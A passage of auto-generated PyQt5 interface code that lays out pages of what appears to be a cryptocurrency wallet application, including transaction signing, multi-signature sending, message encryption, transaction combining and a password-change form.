self.frame_47.setMaximumSize(QtCore.QSize(16777215, 40))
font = QtGui.QFont()
font.setFamily("Futura")
self.frame_47.setFont(font)
self.frame_47.setStyleSheet("border-radius:4px;\n"
"QFrame#frame_47{border-radius: 4px;}\n"
"")
self.frame_47.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_47.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_47.setObjectName("frame_47")
self.gridLayout_68 = QtWidgets.QGridLayout(self.frame_47)
self.gridLayout_68.setContentsMargins(-1, 0, -1, 0)
self.gridLayout_68.setObjectName("gridLayout_68")
self.label_27 = QtWidgets.QLabel(self.frame_47)
self.label_27.setMinimumSize(QtCore.QSize(0, 0))
self.label_27.setMaximumSize(QtCore.QSize(16777215, 40))
font = QtGui.QFont()
font.setPointSize(15)
self.label_27.setFont(font)
self.label_27.setStyleSheet("padding-left: 0px;")
self.label_27.setObjectName("label_27")
self.gridLayout_68.addWidget(self.label_27, 0, 0, 1, 1, QtCore.Qt.AlignVCenter)
self.verticalLayout_3.addWidget(self.frame_47, 0, QtCore.Qt.AlignVCenter)
self.frame_26 = QtWidgets.QFrame(self.groupBox_8)
self.frame_26.setStyleSheet("QFrame#frame_26{border-radius: 4px;}\n"
"")
self.frame_26.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_26.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_26.setObjectName("frame_26")
self.gridLayout_48 = QtWidgets.QGridLayout(self.frame_26)
self.gridLayout_48.setObjectName("gridLayout_48")
self.label_40 = QtWidgets.QLabel(self.frame_26)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_40.setFont(font)
self.label_40.setStyleSheet("")
self.label_40.setObjectName("label_40")
self.gridLayout_48.addWidget(self.label_40, 1, 0, 1, 1)
self.comboBox_3 = QtWidgets.QComboBox(self.frame_26)
self.comboBox_3.setMinimumSize(QtCore.QSize(0, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.comboBox_3.setFont(font)
self.comboBox_3.setStyleSheet("border-radius: 4px; \n"
"border: 1px solid rgb(210, 216, 216);\n"
"background-color: rgb(253, 253, 255);\n"
"selection-color: white;\n"
"selection-background-color: rgb(2, 39, 126);\n"
"")
self.comboBox_3.setObjectName("comboBox_3")
self.comboBox_3.addItem("")
self.gridLayout_48.addWidget(self.comboBox_3, 3, 1, 1, 1)
self.frame_60 = QtWidgets.QFrame(self.frame_26)
self.frame_60.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_60.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_60.setObjectName("frame_60")
self.gridLayout_82 = QtWidgets.QGridLayout(self.frame_60)
self.gridLayout_82.setObjectName("gridLayout_82")
self.import_trans_btn = QtWidgets.QPushButton(self.frame_60)
self.import_trans_btn.setObjectName("import_trans_btn")
self.gridLayout_82.addWidget(self.import_trans_btn, 0, 0, 1, 1)
self.multi_sign_btn = QtWidgets.QPushButton(self.frame_60)
self.multi_sign_btn.setObjectName("multi_sign_btn")
self.gridLayout_82.addWidget(self.multi_sign_btn, 0, 1, 1, 1)
self.gridLayout_48.addWidget(self.frame_60, 4, 1, 1, 1)
self.label_41 = QtWidgets.QLabel(self.frame_26)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_41.setFont(font)
self.label_41.setStyleSheet("")
self.label_41.setObjectName("label_41")
self.gridLayout_48.addWidget(self.label_41, 3, 0, 1, 1)
self.frame_61 = QtWidgets.QFrame(self.frame_26)
self.frame_61.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_61.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_61.setObjectName("frame_61")
self.gridLayout_83 = QtWidgets.QGridLayout(self.frame_61)
self.gridLayout_83.setObjectName("gridLayout_83")
self.multi_send_btn = QtWidgets.QPushButton(self.frame_61)
self.multi_send_btn.setObjectName("multi_send_btn")
self.gridLayout_83.addWidget(self.multi_send_btn, 0, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.gridLayout_48.addWidget(self.frame_61, 8, 1, 1, 1)
self.signed_text = QtWidgets.QTextEdit(self.frame_26)
font = QtGui.QFont()
font.setFamily("Futura")
self.signed_text.setFont(font)
self.signed_text.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.signed_text.setFrameShape(QtWidgets.QFrame.NoFrame)
self.signed_text.setFrameShadow(QtWidgets.QFrame.Plain)
self.signed_text.setObjectName("signed_text")
self.gridLayout_48.addWidget(self.signed_text, 6, 1, 1, 1)
self.trans_text = QtWidgets.QTextEdit(self.frame_26)
font = QtGui.QFont()
font.setFamily("Futura")
self.trans_text.setFont(font)
self.trans_text.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.trans_text.setFrameShape(QtWidgets.QFrame.NoFrame)
self.trans_text.setFrameShadow(QtWidgets.QFrame.Plain)
self.trans_text.setObjectName("trans_text")
self.gridLayout_48.addWidget(self.trans_text, 1, 1, 1, 1)
self.label_42 = QtWidgets.QLabel(self.frame_26)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_42.setFont(font)
self.label_42.setStyleSheet("")
self.label_42.setObjectName("label_42")
self.gridLayout_48.addWidget(self.label_42, 6, 0, 1, 1)
self.verticalLayout_3.addWidget(self.frame_26)
self.gridLayout_46.addWidget(self.groupBox_8, 0, 0, 1, 1)
self.label_66 = QtWidgets.QLabel(self.frame_13)
self.label_66.setMinimumSize(QtCore.QSize(10, 34))
font = QtGui.QFont()
font.setFamily("Helvetica")
font.setPointSize(16)
self.label_66.setFont(font)
self.label_66.setStyleSheet("background-color: rgba(255, 255, 255, 0);")
self.label_66.setText("")
self.label_66.setObjectName("label_66")
self.gridLayout_46.addWidget(self.label_66, 1, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.gridLayout_45.addWidget(self.frame_13, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.load_sign_verify_page)
self.enc_msg_page = QtWidgets.QWidget()
self.enc_msg_page.setObjectName("enc_msg_page")
self.gridLayout_84 = QtWidgets.QGridLayout(self.enc_msg_page)
self.gridLayout_84.setObjectName("gridLayout_84")
self.frame_62 = QtWidgets.QFrame(self.enc_msg_page)
self.frame_62.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_62.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_62.setObjectName("frame_62")
self.gridLayout_85 = QtWidgets.QGridLayout(self.frame_62)
self.gridLayout_85.setObjectName("gridLayout_85")
self.groupBox_10 = QtWidgets.QGroupBox(self.frame_62)
self.groupBox_10.setTitle("")
self.groupBox_10.setObjectName("groupBox_10")
self.gridLayout_86 = QtWidgets.QGridLayout(self.groupBox_10)
self.gridLayout_86.setObjectName("gridLayout_86")
self.line_17 = QtWidgets.QFrame(self.groupBox_10)
self.line_17.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_17.setFrameShape(QtWidgets.QFrame.HLine)
self.line_17.setObjectName("line_17")
self.gridLayout_86.addWidget(self.line_17, 1, 0, 1, 1)
self.frame_65 = QtWidgets.QFrame(self.groupBox_10)
self.frame_65.setStyleSheet("QFrame#frame_65{border-radius: 4px;}\n"
"")
self.frame_65.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_65.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_65.setObjectName("frame_65")
self.gridLayout_89 = QtWidgets.QGridLayout(self.frame_65)
self.gridLayout_89.setObjectName("gridLayout_89")
self.textEdit_3 = QtWidgets.QTextEdit(self.frame_65)
font = QtGui.QFont()
font.setFamily("Futura")
self.textEdit_3.setFont(font)
self.textEdit_3.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.textEdit_3.setObjectName("textEdit_3")
self.gridLayout_89.addWidget(self.textEdit_3, 3, 1, 1, 1)
self.frame_66 = QtWidgets.QFrame(self.frame_65)
self.frame_66.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_66.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_66.setObjectName("frame_66")
self.gridLayout_90 = QtWidgets.QGridLayout(self.frame_66)
self.gridLayout_90.setObjectName("gridLayout_90")
self.sign_enc_btn = QtWidgets.QPushButton(self.frame_66)
self.sign_enc_btn.setObjectName("sign_enc_btn")
self.gridLayout_90.addWidget(self.sign_enc_btn, 0, 0, 1, 1)
self.sign_dec_btn = QtWidgets.QPushButton(self.frame_66)
self.sign_dec_btn.setObjectName("sign_dec_btn")
self.gridLayout_90.addWidget(self.sign_dec_btn, 0, 1, 1, 1)
self.gridLayout_89.addWidget(self.frame_66, 4, 1, 1, 1)
self.textEdit_2 = QtWidgets.QTextEdit(self.frame_65)
font = QtGui.QFont()
font.setFamily("Futura")
self.textEdit_2.setFont(font)
self.textEdit_2.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.textEdit_2.setObjectName("textEdit_2")
self.gridLayout_89.addWidget(self.textEdit_2, 0, 1, 1, 1)
self.label_47 = QtWidgets.QLabel(self.frame_65)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_47.setFont(font)
self.label_47.setStyleSheet("")
self.label_47.setObjectName("label_47")
self.gridLayout_89.addWidget(self.label_47, 0, 0, 1, 1)
self.label_49 = QtWidgets.QLabel(self.frame_65)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_49.setFont(font)
self.label_49.setStyleSheet("")
self.label_49.setObjectName("label_49")
self.gridLayout_89.addWidget(self.label_49, 3, 0, 1, 1)
self.label_48 = QtWidgets.QLabel(self.frame_65)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_48.setFont(font)
self.label_48.setStyleSheet("")
self.label_48.setObjectName("label_48")
self.gridLayout_89.addWidget(self.label_48, 1, 0, 1, 1)
self.comboBox_4 = QtWidgets.QComboBox(self.frame_65)
self.comboBox_4.setMinimumSize(QtCore.QSize(0, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.comboBox_4.setFont(font)
self.comboBox_4.setStyleSheet("border-radius: 4px; \n"
"border: 1px solid rgb(210, 216, 216);\n"
"background-color: rgb(253, 253, 255);\n"
"selection-color: white;\n"
"selection-background-color: rgb(2, 39, 126);\n"
"")
self.comboBox_4.setObjectName("comboBox_4")
self.comboBox_4.addItem("")
self.gridLayout_89.addWidget(self.comboBox_4, 1, 1, 1, 1)
self.gridLayout_86.addWidget(self.frame_65, 3, 0, 1, 1)
self.frame_63 = QtWidgets.QFrame(self.groupBox_10)
self.frame_63.setMinimumSize(QtCore.QSize(0, 65))
self.frame_63.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_63.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);\n"
"")
self.frame_63.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_63.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_63.setObjectName("frame_63")
self.gridLayout_87 = QtWidgets.QGridLayout(self.frame_63)
self.gridLayout_87.setObjectName("gridLayout_87")
self.label_45 = QtWidgets.QLabel(self.frame_63)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_45.setFont(font)
self.label_45.setStyleSheet("background-color: rgb(253, 253, 255);")
self.label_45.setObjectName("label_45")
self.gridLayout_87.addWidget(self.label_45, 0, 0, 1, 1)
self.gridLayout_86.addWidget(self.frame_63, 0, 0, 1, 1)
self.frame_64 = QtWidgets.QFrame(self.groupBox_10)
self.frame_64.setMinimumSize(QtCore.QSize(0, 0))
self.frame_64.setMaximumSize(QtCore.QSize(16777215, 40))
self.frame_64.setStyleSheet("QFrame#frame_64{border-radius: 4px;}\n"
"")
self.frame_64.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_64.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_64.setObjectName("frame_64")
self.gridLayout_88 = QtWidgets.QGridLayout(self.frame_64)
self.gridLayout_88.setContentsMargins(-1, 6, -1, 6)
self.gridLayout_88.setObjectName("gridLayout_88")
self.label_46 = QtWidgets.QLabel(self.frame_64)
font = QtGui.QFont()
font.setPointSize(15)
self.label_46.setFont(font)
self.label_46.setStyleSheet("padding-left: 0px;")
self.label_46.setObjectName("label_46")
self.gridLayout_88.addWidget(self.label_46, 0, 0, 1, 1)
self.gridLayout_86.addWidget(self.frame_64, 2, 0, 1, 1)
self.gridLayout_85.addWidget(self.groupBox_10, 0, 0, 1, 1)
self.gridLayout_84.addWidget(self.frame_62, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.enc_msg_page)
self.combine_multi_page = QtWidgets.QWidget()
self.combine_multi_page.setObjectName("combine_multi_page")
self.gridLayout_50 = QtWidgets.QGridLayout(self.combine_multi_page)
self.gridLayout_50.setObjectName("gridLayout_50")
self.frame_29 = QtWidgets.QFrame(self.combine_multi_page)
self.frame_29.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_29.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_29.setObjectName("frame_29")
self.gridLayout_51 = QtWidgets.QGridLayout(self.frame_29)
self.gridLayout_51.setObjectName("gridLayout_51")
spacerItem5 = QtWidgets.QSpacerItem(20, 40, QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Expanding)
self.gridLayout_51.addItem(spacerItem5, 1, 0, 1, 1)
self.groupBox_9 = QtWidgets.QGroupBox(self.frame_29)
self.groupBox_9.setTitle("")
self.groupBox_9.setObjectName("groupBox_9")
self.gridLayout_52 = QtWidgets.QGridLayout(self.groupBox_9)
self.gridLayout_52.setObjectName("gridLayout_52")
self.frame_81 = QtWidgets.QFrame(self.groupBox_9)
self.frame_81.setMinimumSize(QtCore.QSize(0, 40))
self.frame_81.setStyleSheet("QFrame#frame_81{border-radius: 4px;}")
self.frame_81.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_81.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_81.setObjectName("frame_81")
self.gridLayout_104 = QtWidgets.QGridLayout(self.frame_81)
self.gridLayout_104.setObjectName("gridLayout_104")
self.label_68 = QtWidgets.QLabel(self.frame_81)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_68.setFont(font)
self.label_68.setStyleSheet("")
self.label_68.setObjectName("label_68")
self.gridLayout_104.addWidget(self.label_68, 2, 0, 1, 1)
self.frame_59 = QtWidgets.QFrame(self.frame_81)
self.frame_59.setStyleSheet("QFrame#frame_58{border-radius:3px;}")
self.frame_59.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_59.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_59.setObjectName("frame_59")
self.gridLayout_81 = QtWidgets.QGridLayout(self.frame_59)
self.gridLayout_81.setObjectName("gridLayout_81")
self.add_trns_btn = QtWidgets.QPushButton(self.frame_59)
self.add_trns_btn.setObjectName("add_trns_btn")
self.gridLayout_81.addWidget(self.add_trns_btn, 1, 1, 1, 1)
self.combine_trans_btn = QtWidgets.QPushButton(self.frame_59)
self.combine_trans_btn.setObjectName("combine_trans_btn")
self.gridLayout_81.addWidget(self.combine_trans_btn, 1, 3, 1, 1)
self.gridLayout_104.addWidget(self.frame_59, 1, 1, 1, 1)
self.combine_trans_txt = QtWidgets.QTextEdit(self.frame_81)
font = QtGui.QFont()
font.setFamily("Futura")
self.combine_trans_txt.setFont(font)
self.combine_trans_txt.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.combine_trans_txt.setObjectName("combine_trans_txt")
self.gridLayout_104.addWidget(self.combine_trans_txt, 2, 1, 1, 1)
self.frame_86 = QtWidgets.QFrame(self.frame_81)
self.frame_86.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_86.setFrameShadow(QtWidgets.QFrame.Plain)
self.frame_86.setObjectName("frame_86")
self.gridLayout_111 = QtWidgets.QGridLayout(self.frame_86)
self.gridLayout_111.setObjectName("gridLayout_111")
self.combine_send_btn = QtWidgets.QPushButton(self.frame_86)
self.combine_send_btn.setObjectName("combine_send_btn")
self.gridLayout_111.addWidget(self.combine_send_btn, 0, 1, 1, 1)
self.comb_clear_btn = QtWidgets.QPushButton(self.frame_86)
self.comb_clear_btn.setObjectName("comb_clear_btn")
self.gridLayout_111.addWidget(self.comb_clear_btn, 0, 0, 1, 1)
self.gridLayout_104.addWidget(self.frame_86, 3, 1, 1, 1)
self.add_trans_txt = QtWidgets.QTextEdit(self.frame_81)
font = QtGui.QFont()
font.setFamily("Futura")
self.add_trans_txt.setFont(font)
self.add_trans_txt.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.add_trans_txt.setObjectName("add_trans_txt")
self.gridLayout_104.addWidget(self.add_trans_txt, 0, 1, 1, 1)
self.label_67 = QtWidgets.QLabel(self.frame_81)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_67.setFont(font)
self.label_67.setStyleSheet("")
self.label_67.setObjectName("label_67")
self.gridLayout_104.addWidget(self.label_67, 0, 0, 1, 1)
self.gridLayout_52.addWidget(self.frame_81, 4, 0, 1, 1)
self.frame_71 = QtWidgets.QFrame(self.groupBox_9)
self.frame_71.setMaximumSize(QtCore.QSize(16777215, 40))
self.frame_71.setStyleSheet("QFrame#frame_71{border-radius: 4px;}\n"
"")
self.frame_71.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_71.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_71.setObjectName("frame_71")
self.gridLayout_27 = QtWidgets.QGridLayout(self.frame_71)
self.gridLayout_27.setContentsMargins(-1, 0, -1, 0)
self.gridLayout_27.setObjectName("gridLayout_27")
self.label_29 = QtWidgets.QLabel(self.frame_71)
self.label_29.setMinimumSize(QtCore.QSize(0, 40))
self.label_29.setMaximumSize(QtCore.QSize(16777215, 16777215))
font = QtGui.QFont()
font.setPointSize(15)
self.label_29.setFont(font)
self.label_29.setStyleSheet("\n"
"background-color: rgba(255, 255, 255, 0);")
self.label_29.setAlignment(QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft|QtCore.Qt.AlignVCenter)
self.label_29.setIndent(0)
self.label_29.setObjectName("label_29")
self.gridLayout_27.addWidget(self.label_29, 0, 0, 1, 1, QtCore.Qt.AlignVCenter)
self.gridLayout_52.addWidget(self.frame_71, 2, 0, 1, 1)
self.label_44 = QtWidgets.QLabel(self.groupBox_9)
self.label_44.setMinimumSize(QtCore.QSize(0, 34))
font = QtGui.QFont()
font.setFamily("Helvetica")
font.setPointSize(16)
self.label_44.setFont(font)
self.label_44.setStyleSheet("background-color: rgba(255, 255, 255, 0);")
self.label_44.setText("")
self.label_44.setObjectName("label_44")
self.gridLayout_52.addWidget(self.label_44, 6, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.frame_34 = QtWidgets.QFrame(self.groupBox_9)
self.frame_34.setMinimumSize(QtCore.QSize(0, 65))
self.frame_34.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_34.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);")
self.frame_34.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_34.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_34.setObjectName("frame_34")
self.gridLayout_53 = QtWidgets.QGridLayout(self.frame_34)
self.gridLayout_53.setObjectName("gridLayout_53")
self.label_28 = QtWidgets.QLabel(self.frame_34)
self.label_28.setMaximumSize(QtCore.QSize(16777215, 65))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_28.setFont(font)
self.label_28.setStyleSheet("\n"
"background-color: rgb(253, 253, 255);\n"
"")
self.label_28.setObjectName("label_28")
self.gridLayout_53.addWidget(self.label_28, 0, 0, 1, 1)
self.gridLayout_52.addWidget(self.frame_34, 0, 0, 1, 1)
self.line_13 = QtWidgets.QFrame(self.groupBox_9)
self.line_13.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_13.setFrameShape(QtWidgets.QFrame.HLine)
self.line_13.setObjectName("line_13")
self.gridLayout_52.addWidget(self.line_13, 1, 0, 1, 1)
self.label_69 = QtWidgets.QLabel(self.groupBox_9)
self.label_69.setMinimumSize(QtCore.QSize(10, 34))
self.label_69.setStyleSheet("background-color: rgba(255, 255, 255, 0);\n"
"font: 16pt \'Helvetica\';\n"
"")
self.label_69.setText("")
self.label_69.setObjectName("label_69")
self.gridLayout_52.addWidget(self.label_69, 5, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.gridLayout_51.addWidget(self.groupBox_9, 0, 0, 1, 1)
self.gridLayout_50.addWidget(self.frame_29, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.combine_multi_page)
self.password_page = QtWidgets.QWidget()
self.password_page.setObjectName("password_page")
self.gridLayout_41 = QtWidgets.QGridLayout(self.password_page)
self.gridLayout_41.setObjectName("gridLayout_41")
self.frame_31 = QtWidgets.QFrame(self.password_page)
self.frame_31.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_31.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_31.setObjectName("frame_31")
self.verticalLayout_19 = QtWidgets.QVBoxLayout(self.frame_31)
self.verticalLayout_19.setObjectName("verticalLayout_19")
self.groupBox_7 = QtWidgets.QGroupBox(self.frame_31)
self.groupBox_7.setTitle("")
self.groupBox_7.setObjectName("groupBox_7")
self.gridLayout_18 = QtWidgets.QGridLayout(self.groupBox_7)
self.gridLayout_18.setObjectName("gridLayout_18")
self.line_9 = QtWidgets.QFrame(self.groupBox_7)
self.line_9.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_9.setFrameShape(QtWidgets.QFrame.HLine)
self.line_9.setObjectName("line_9")
self.gridLayout_18.addWidget(self.line_9, 1, 0, 1, 1)
self.frame_37 = QtWidgets.QFrame(self.groupBox_7)
self.frame_37.setMinimumSize(QtCore.QSize(0, 65))
self.frame_37.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_37.setStyleSheet("border-radius: 8px;\n"
"background-color: rgb(253, 253, 255);\n"
"\n"
"")
self.frame_37.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_37.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_37.setObjectName("frame_37")
self.gridLayout_42 = QtWidgets.QGridLayout(self.frame_37)
self.gridLayout_42.setObjectName("gridLayout_42")
self.label_24 = QtWidgets.QLabel(self.frame_37)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_24.setFont(font)
self.label_24.setStyleSheet("")
self.label_24.setObjectName("label_24")
self.gridLayout_42.addWidget(self.label_24, 0, 0, 1, 1)
self.gridLayout_18.addWidget(self.frame_37, 0, 0, 1, 1)
self.frame_49 = QtWidgets.QFrame(self.groupBox_7)
self.frame_49.setMinimumSize(QtCore.QSize(0, 40))
self.frame_49.setMaximumSize(QtCore.QSize(16777215, 40))
self.frame_49.setStyleSheet("\n"
"QFrame#frame_49{border-radius: 4px;}\n"
"")
self.frame_49.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_49.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_49.setObjectName("frame_49")
self.verticalLayout_10 = QtWidgets.QVBoxLayout(self.frame_49)
self.verticalLayout_10.setContentsMargins(-1, 0, -1, 0)
self.verticalLayout_10.setObjectName("verticalLayout_10")
self.label_23 = QtWidgets.QLabel(self.frame_49)
self.label_23.setMinimumSize(QtCore.QSize(0, 0))
self.label_23.setMaximumSize(QtCore.QSize(16777215, 40))
font = QtGui.QFont()
font.setPointSize(15)
self.label_23.setFont(font)
self.label_23.setStyleSheet("\n"
"background-color: rgba(255, 255, 255, 0);")
self.label_23.setAlignment(QtCore.Qt.AlignBottom|QtCore.Qt.AlignLeading|QtCore.Qt.AlignLeft)
self.label_23.setIndent(0)
self.label_23.setObjectName("label_23")
self.verticalLayout_10.addWidget(self.label_23, 0, QtCore.Qt.AlignVCenter)
self.gridLayout_18.addWidget(self.frame_49, 2, 0, 1, 1)
self.frame_39 = QtWidgets.QFrame(self.groupBox_7)
self.frame_39.setMinimumSize(QtCore.QSize(0, 50))
self.frame_39.setMaximumSize(QtCore.QSize(16777215, 50))
self.frame_39.setStyleSheet("background-color: rgba(255, 255, 255, 0);")
self.frame_39.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_39.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_39.setObjectName("frame_39")
self.gridLayout_43 = QtWidgets.QGridLayout(self.frame_39)
self.gridLayout_43.setContentsMargins(0, 4, 0, 4)
self.gridLayout_43.setObjectName("gridLayout_43")
self.pwd_cancel_btn = QtWidgets.QPushButton(self.frame_39)
self.pwd_cancel_btn.setMinimumSize(QtCore.QSize(0, 40))
self.pwd_cancel_btn.setMaximumSize(QtCore.QSize(16777215, 40))
self.pwd_cancel_btn.setObjectName("pwd_cancel_btn")
self.gridLayout_43.addWidget(self.pwd_cancel_btn, 0, 0, 1, 1)
self.pwd_ok_btn = QtWidgets.QPushButton(self.frame_39)
self.pwd_ok_btn.setMinimumSize(QtCore.QSize(0, 40))
self.pwd_ok_btn.setMaximumSize(QtCore.QSize(16777215, 40))
self.pwd_ok_btn.setObjectName("pwd_ok_btn")
self.gridLayout_43.addWidget(self.pwd_ok_btn, 0, 1, 1, 1, QtCore.Qt.AlignVCenter)
self.gridLayout_18.addWidget(self.frame_39, 5, 0, 1, 1)
self.frame_6 = QtWidgets.QFrame(self.groupBox_7)
self.frame_6.setMinimumSize(QtCore.QSize(0, 140))
self.frame_6.setMaximumSize(QtCore.QSize(16777215, 140))
self.frame_6.setStyleSheet("QFrame#frame_6{border-radius: 4px;}\n"
"")
self.frame_6.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_6.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_6.setObjectName("frame_6")
self.gridLayout_22 = QtWidgets.QGridLayout(self.frame_6)
self.gridLayout_22.setObjectName("gridLayout_22")
self.lineEdit_4 = QtWidgets.QLineEdit(self.frame_6)
self.lineEdit_4.setMinimumSize(QtCore.QSize(0, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.lineEdit_4.setFont(font)
self.lineEdit_4.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.lineEdit_4.setEchoMode(QtWidgets.QLineEdit.Password)
self.lineEdit_4.setObjectName("lineEdit_4")
self.gridLayout_22.addWidget(self.lineEdit_4, 1, 1, 1, 1)
self.label_21 = QtWidgets.QLabel(self.frame_6)
self.label_21.setMinimumSize(QtCore.QSize(0, 35))
self.label_21.setMaximumSize(QtCore.QSize(16777215, 35))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_21.setFont(font)
self.label_21.setStyleSheet("\n"
"padding-bottom: 4px;")
self.label_21.setObjectName("label_21")
self.gridLayout_22.addWidget(self.label_21, 1, 0, 1, 1)
self.lineEdit_5 = QtWidgets.QLineEdit(self.frame_6)
self.lineEdit_5.setMinimumSize(QtCore.QSize(0, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.lineEdit_5.setFont(font)
self.lineEdit_5.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.lineEdit_5.setEchoMode(QtWidgets.QLineEdit.Password)
self.lineEdit_5.setObjectName("lineEdit_5")
self.gridLayout_22.addWidget(self.lineEdit_5, 2, 1, 1, 1)
self.label_22 = QtWidgets.QLabel(self.frame_6)
self.label_22.setMinimumSize(QtCore.QSize(0, 35))
self.label_22.setMaximumSize(QtCore.QSize(16777215, 35))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_22.setFont(font)
self.label_22.setStyleSheet("\n"
"padding-bottom: 4px;")
self.label_22.setObjectName("label_22")
self.gridLayout_22.addWidget(self.label_22, 2, 0, 1, 1)
self.lineEdit_10 = QtWidgets.QLineEdit(self.frame_6)
self.lineEdit_10.setMinimumSize(QtCore.QSize(0, 35))
self.lineEdit_10.setMaximumSize(QtCore.QSize(16777215, 35))
font = QtGui.QFont()
font.setFamily("Futura")
self.lineEdit_10.setFont(font)
self.lineEdit_10.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.lineEdit_10.setEchoMode(QtWidgets.QLineEdit.Password)
self.lineEdit_10.setObjectName("lineEdit_10")
self.gridLayout_22.addWidget(self.lineEdit_10, 0, 1, 1, 1)
self.label_61 = QtWidgets.QLabel(self.frame_6)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_61.setFont(font)
self.label_61.setStyleSheet("\n"
"padding-bottom: 4px;")
self.label_61.setObjectName("label_61")
self.gridLayout_22.addWidget(self.label_61, 0, 0, 1, 1)
self.gridLayout_18.addWidget(self.frame_6, 4, 0, 1, 1)
